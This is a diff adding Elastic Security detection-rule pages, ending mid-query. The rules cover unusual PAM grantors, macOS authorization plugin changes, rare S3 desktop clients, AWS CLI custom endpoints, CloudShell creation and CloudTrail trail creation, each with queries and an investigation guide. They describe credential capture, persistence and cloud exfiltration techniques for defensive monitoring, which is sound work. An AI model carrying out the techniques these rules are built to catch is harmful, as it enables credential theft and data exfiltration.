PAM Grantor + +This rule detects successful authentications via PAM grantors that are not commonly used. This could indicate an attacker is attempting to escalate privileges or maintain persistence on the system by modifying the default PAM configuration. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Authentication via Unusual PAM Grantor* + + +Pluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit uncommon PAM grantors to escalate privileges or maintain persistence by altering default configurations. The detection rule identifies successful authentications using atypical PAM grantors, signaling potential unauthorized access or configuration tampering. + + +*Possible investigation steps* + + +- Review the specific PAM grantor involved in the authentication event to determine if it is known or expected in your environment. +- Check the user account associated with the authentication event for any signs of compromise or unusual activity, such as recent changes in permissions or unexpected login times. +- Investigate the source IP address and hostname of the authentication event to verify if it is a recognized and authorized system within your network. +- Examine recent changes to the PAM configuration files on the affected host to identify any unauthorized modifications or additions. +- Correlate this event with other security alerts or logs from the same host or user to identify potential patterns of malicious activity. +- Consult with system administrators or relevant personnel to confirm if the use of the unusual PAM grantor was part of a legitimate change or update. + + +*False positive analysis* + + +- Custom PAM modules: Organizations may use custom PAM modules for specific applications or security policies. Review these modules to ensure they are legitimate and add them to an exception list if they are frequently triggering alerts. +- Administrative scripts: Some administrative scripts might use non-standard PAM grantors for automation purposes. Verify the scripts' legitimacy and consider excluding them from the rule if they are part of routine operations. +- Third-party software: Certain third-party software may install or use uncommon PAM grantors as part of their authentication process. Validate the software's authenticity and add its grantors to an exception list if they are known to be safe. +- Development environments: In development or testing environments, developers might experiment with different PAM configurations. Ensure these environments are properly isolated and consider excluding them from the rule to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review the PAM configuration files on the affected system to identify and revert any unauthorized changes to the grantors. Ensure only legitimate PAM modules are in use. +- Terminate any suspicious or unauthorized processes that may have been initiated by the attacker to maintain persistence or escalate privileges. +- Conduct a thorough review of user accounts and privileges on the affected system to identify any unauthorized changes or newly created accounts. Revoke any unauthorized access. +- Restore the affected system from a known good backup if unauthorized changes cannot be easily reverted or if the system's integrity is in question. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for PAM-related activities across the network to detect similar threats in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Setup + + + +*Setup* + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, no additional configuration is required. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:authenticated and event.outcome:success and +auditd.data.grantors:(* and not (pam_rootok or *pam_cap* or *pam_permit*)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-authorization-plugin-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-authorization-plugin-modification.asciidoc new file mode 100644 index 0000000000..58e40aff62 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-authorization-plugin-modification.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-authorization-plugin-modification]] +=== Authorization Plugin Modification + +Authorization plugins are used to extend the authorization services API and implement mechanisms that are not natively supported by the OS, such as multi-factor authentication with third party software. Adversaries may abuse this feature to persist and/or collect clear text credentials as they traverse the registered plugins during user logon. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/documentation/security/authorization_plug-ins +* https://www.xorrior.com/persistent-credential-theft/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Authorization Plugin Modification* + + +Authorization plugins in macOS extend authentication capabilities, enabling features like third-party multi-factor authentication. Adversaries may exploit these plugins to maintain persistence or capture credentials by modifying or adding unauthorized plugins. The detection rule identifies suspicious modifications by monitoring changes in specific plugin directories, excluding known legitimate plugins and trusted processes, thus highlighting potential unauthorized activities. + + +*Possible investigation steps* + + +- Review the file path of the modified plugin to determine if it is located in the /Library/Security/SecurityAgentPlugins/ directory and verify if it is not among the known legitimate plugins like KandjiPassport.bundle or TeamViewerAuthPlugin.bundle. +- Examine the process name associated with the modification event to ensure it is not 'shove' with a trusted code signature, as these are excluded from the detection rule. +- Investigate the history of the modified plugin file to identify when it was created or last modified and by which user or process, to assess if the change aligns with expected administrative activities. +- Check for any recent user logon events that might correlate with the timing of the plugin modification to identify potential unauthorized access attempts. +- Analyze any associated network activity or connections from the host around the time of the modification to detect possible data exfiltration or communication with external command and control servers. +- Review system logs for any other suspicious activities or anomalies that occurred around the same time as the plugin modification to gather additional context on the potential threat. + + +*False positive analysis* + + +- Known legitimate plugins such as KandjiPassport.bundle and TeamViewerAuthPlugin.bundle may trigger alerts if they are updated or modified. Users can handle these by ensuring these plugins are included in the exclusion list within the detection rule. +- Trusted processes like those signed by a verified code signature, such as the process named 'shove', might be flagged if they interact with the plugin directories. Users should verify the code signature and add these processes to the trusted list to prevent false positives. +- System updates or legitimate software installations may cause temporary changes in the plugin directories. Users should monitor for these events and temporarily adjust the detection rule to exclude these known activities during the update period. +- Custom or in-house developed plugins that are not widely recognized may be flagged. Users should ensure these plugins are properly documented and added to the exclusion list if they are verified as safe and necessary for business operations. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further unauthorized access. +- Review and terminate any suspicious processes associated with unauthorized plugins, especially those not signed by a trusted code signature. +- Remove any unauthorized or suspicious plugins from the /Library/Security/SecurityAgentPlugins/ directory to eliminate persistence mechanisms. +- Conduct a thorough credential audit for any accounts that may have been compromised, and enforce a password reset for affected users. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar endpoints to detect any further unauthorized plugin modifications. +- Review and update security policies to ensure only authorized personnel can modify or add authorization plugins, and consider implementing stricter access controls. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like "/Library/Security/SecurityAgentPlugins/*" and + not file.path like ("/Library/Security/SecurityAgentPlugins/KandjiPassport.bundle/*", "/Library/Security/SecurityAgentPlugins/TeamViewerAuthPlugin.bundle/*") and + not process.name == "shove" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Authentication Package +** ID: T1547.002 +** Reference URL: https://attack.mitre.org/techniques/T1547/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc new file mode 100644 index 0000000000..b70d3654d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-aws-api-activity-from-uncommon-s3-client-by-rare-user]] +=== AWS API Activity from Uncommon S3 Client by Rare User + +Identifies AWS API activity originating from uncommon desktop client applications based on the user agent string. This rule detects S3 Browser and Cyberduck, which are graphical S3 management tools that provide bulk upload/download capabilities. While legitimate, these tools are rarely used in enterprise environments and have been observed in use by threat actors for data exfiltration. Any activity from these clients should be validated against authorized data transfer workflows. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://s3browser.com/ +* https://cyberduck.io/ +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://attackevals.github.io/ael/enterprise/scattered_spider/emulation_plan/scattered_spider_scenario/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS S3 +* Tactic: Exfiltration +* Use Case: Threat Detection +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS API Activity from Uncommon S3 Client by Rare User* + + +S3 Browser and Cyberduck are graphical clients for Amazon S3 that allow users to browse, upload, download, and manage S3 objects. While legitimate tools, they are uncommonly used in enterprise environments where organizations typically standardize on AWS CLI, SDKs, or console access. The presence of these tools may indicate unauthorized data access or exfiltration activity. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that identifies the first time a specific user within an account makes API calls using S3 Browser or Cyberduck user agent strings. Threat actors have been observed using these tools for their intuitive interface and bulk data transfer capabilities during post-compromise data theft operations. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM principal was used. + - Check whether this principal normally accesses S3 and whether usage of these desktop clients is expected or authorized. + +- **Review accessed resources** + - Examine `aws.cloudtrail.resources.arn` to identify which S3 buckets and objects were accessed. + - Determine whether the accessed data is sensitive, confidential, or subject to data protection policies. + - Look for patterns indicating bulk downloads or systematic enumeration of bucket contents. + +- **Analyze the actions performed** + - Review `event.action` to understand what operations were performed (e.g., `GetObject`, `ListBucket`, `PutObject`). + - High volumes of `GetObject` calls may indicate data exfiltration. + - `PutObject` calls to external buckets could indicate data staging for exfiltration. + +- **Inspect source network context** + - Review `source.ip` and `source.geo` fields to determine the origin of the request. + - Check whether the IP belongs to corporate infrastructure, VPN, or an unexpected external location. + - External IPs combined with these desktop client tools are high-risk indicators. + +- **Correlate with surrounding activity** + - Search for additional CloudTrail events from the same access key or session. + - Look for preceding credential theft indicators such as `GetSecretValue`, `CreateAccessKey`, or console logins. + - Check for cross-account transfers or `CreateBucket` calls in external accounts. + + +*False positive analysis* + + +- **Authorized data migration or backup activities** may use these tools. Confirm with data engineering or IT teams. +- **Developer testing** in non-production environments may occasionally involve these clients. Validate the environment and data sensitivity. +- **Third-party integrations** using Cyberduck libraries may generate this user agent. Verify the automation context. + + +*Response and remediation* + + +- **If unauthorized**, immediately revoke or rotate the affected access keys and invalidate active sessions. +- **Assess data exposure** by reviewing which objects were accessed and determining if sensitive data was compromised. +- **Notify security operations** and initiate incident response procedures if exfiltration is confirmed. +- **Implement preventive controls** such as S3 bucket policies restricting access by user agent or requiring VPC endpoints. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and user_agent.original: (*S3 Browser* or *Cyberduck*) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cli-command-with-custom-endpoint-url.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cli-command-with-custom-endpoint-url.asciidoc new file mode 100644 index 0000000000..cea6e6732b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cli-command-with-custom-endpoint-url.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-aws-cli-command-with-custom-endpoint-url]] +=== AWS CLI Command with Custom Endpoint URL + +Detects the use of the AWS CLI with the "--endpoint-url" argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/scarleteel-2-0/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS CLI Command with Custom Endpoint URL* + + +The AWS CLI allows users to interact with AWS services via command-line, offering flexibility in managing cloud resources. The `--endpoint-url` option lets users specify alternative endpoints, which can be exploited by adversaries to reroute requests to malicious servers, bypassing security controls. The detection rule identifies such misuse by monitoring for the `--endpoint-url` argument in process logs, flagging potential unauthorized activities. + + +*Possible investigation steps* + + +- Review the process logs to identify the specific command line that triggered the alert, focusing on the presence of the --endpoint-url argument. +- Investigate the custom endpoint URL specified in the command to determine if it is a known malicious or unauthorized domain. +- Check the user account associated with the process to assess if it has a history of suspicious activity or if it has been compromised. +- Analyze network logs to trace any outbound connections to the custom endpoint URL and evaluate the data being transmitted. +- Correlate the event with other security alerts or logs to identify any patterns or additional indicators of compromise related to the same user or endpoint. +- Verify if the AWS credentials used in the command have been exposed or misused in other contexts, potentially indicating credential theft or abuse. + + +*False positive analysis* + + +- Internal testing environments may use custom endpoint URLs for development purposes. To manage this, create exceptions for known internal IP addresses or domain names associated with these environments. +- Organizations using AWS CLI with custom endpoints for legitimate third-party integrations might trigger this rule. Identify and whitelist these specific integrations by their endpoint URLs to prevent false positives. +- Automated scripts or tools that interact with AWS services through custom endpoints for monitoring or backup purposes can be flagged. Review and document these scripts, then exclude them from detection by process name or specific endpoint URL. +- Some organizations may use proxy servers that require custom endpoint URLs for AWS CLI operations. Verify these configurations and exclude the associated endpoint URLs from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Review process logs and network traffic to identify any data that may have been redirected to unauthorized endpoints and assess the extent of potential data exposure. +- Revoke any AWS credentials or access keys used on the affected system to prevent further misuse and rotate them with new credentials. +- Conduct a thorough investigation to determine if any other systems have been compromised or if similar unauthorized endpoint usage has occurred elsewhere in the network. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional containment or remediation actions are necessary. +- Implement network-level controls to block known malicious endpoints and enhance monitoring for unusual AWS CLI usage patterns across the environment. +- Update security policies and endpoint protection configurations to detect and alert on the use of custom endpoint URLs in AWS CLI commands, ensuring rapid response to future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and event.category:"process" and +event.action:("exec" or "exec_event" or "executed" or "process_started" or "ProcessRollup2") and +process.name:"aws" and process.args:"--endpoint-url" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudshell-environment-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudshell-environment-created.asciidoc new file mode 100644 index 0000000000..a7a4f452a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudshell-environment-created.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-aws-cloudshell-environment-created]] +=== AWS CloudShell Environment Created + +Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://aws-samples.github.io/threat-technique-catalog-for-aws/Techniques/T1059.009.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS CloudShell +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudShell Environment Created* + + +AWS CloudShell is a browser-based shell environment that provides instant command-line access to AWS resources without requiring local CLI installation or credential configuration. While this is convenient for legitimate administrators, it also provides adversaries with a powerful tool if they gain access to a compromised AWS console session. + +This rule detects when a CloudShell environment is created via the `CreateEnvironment` API. This event occurs when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region (each region maintains a separate environment). + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` or `user.name` to determine which IAM principal created the CloudShell environment. + - Check `aws.cloudtrail.user_identity.type` to identify whether this is an IAM user or an assumed role session. + - Verify if this user typically performs command-line or administrative operations. + +- **Analyze the source context** + - Review `source.ip` and `source.geo` fields to verify the request origin matches expected administrator locations. + - Check `user_agent.original` to confirm the request came from a browser session. + - Look for the preceding `ConsoleLogin` event to understand how the session was established. + +- **Correlate with surrounding activity** + - Look for any IAM operations (CreateAccessKey, CreateUser, AttachRolePolicy) that occurred after CloudShell was accessed. + - Check for data exfiltration patterns or reconnaissance activity from the same session. + +- **Assess the broader context** + - Determine if this user has a legitimate need for CloudShell access based on their role. + - Review recent access patterns for the console session that initiated CloudShell. + - Check if MFA was used for the console login. + + +*False positive analysis* + + +- Administrators routinely using CloudShell for AWS management tasks will trigger this rule. Consider tuning for known admin users if noise is a concern. +- Users accessing CloudShell in a new AWS region will generate a `CreateEnvironment` event even if they have used CloudShell before in other regions. +- Training or certification activities may involve CloudShell environment creation. + + +*Response and remediation* + + +- If unauthorized, immediately terminate the console session to revoke CloudShell access. +- Review and revoke any credentials or resources created during the CloudShell session. +- Consider restricting CloudShell access via SCPs or IAM policies for sensitive accounts or users who do not require it. +- Implement session duration limits to reduce the window of opportunity for console session abuse. +- Enable MFA for all console logins to reduce the risk of session compromise. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "cloudshell.amazonaws.com" + and event.action: "CreateEnvironment" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Cloud API +** ID: T1059.009 +** Reference URL: https://attack.mitre.org/techniques/T1059/009/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-created.asciidoc new file mode 100644 index 0000000000..71ac003773 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-cloudtrail-log-created.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-aws-cloudtrail-log-created]] +=== AWS CloudTrail Log Created + +Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_CreateTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/create-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cloudtrail +* Use Case: Log Auditing +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Created* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Adversaries may create new trails to capture sensitive data or cover their tracks. This detection identifies +`CreateTrail` calls so responders can verify destination ownership, encryption, and scope before accepting the change. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `user_agent.original`, `source.ip`. + - Confirm a related change request exists (onboarding, architecture change). +- **Validate trail configuration** + - In `aws.cloudtrail.request_parameters`, verify: + - `S3BucketName`/`CloudWatchLogsLogGroupArn` belong to your org (no external accounts). + - `IsMultiRegionTrail=true` and `IncludeGlobalServiceEvents=true` (as per your standard). + - `KmsKeyId` is an approved CMK; log file validation enabled. +- **Correlate activity** + - Look for `PutEventSelectors`, `PutInsightSelectors`, `StartLogging` following creation. + - Check for prior enumeration: `DescribeTrails`, `ListBuckets`, `GetEventSelectors`. + + +*False positive analysis* + +- **Planned creation**: Onboarding or compliance initiatives often add trails. Validate via ticket and standard template. +- **Automation**: IaC or control-tower pipelines may create trails on account bootstrap. + + +*Response and remediation* + +- **If unauthorized** + - Disable or delete the trail; verify and secure the destination S3/CloudWatch resources. + - Review the actor’s recent changes and rotate credentials if compromise is suspected. +- **Hardening** + - Restrict `cloudtrail:CreateTrail` to admin roles. + - Use AWS Config / Security Hub controls to enforce multi-region, global events, and validated destinations. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "CreateTrail" + and 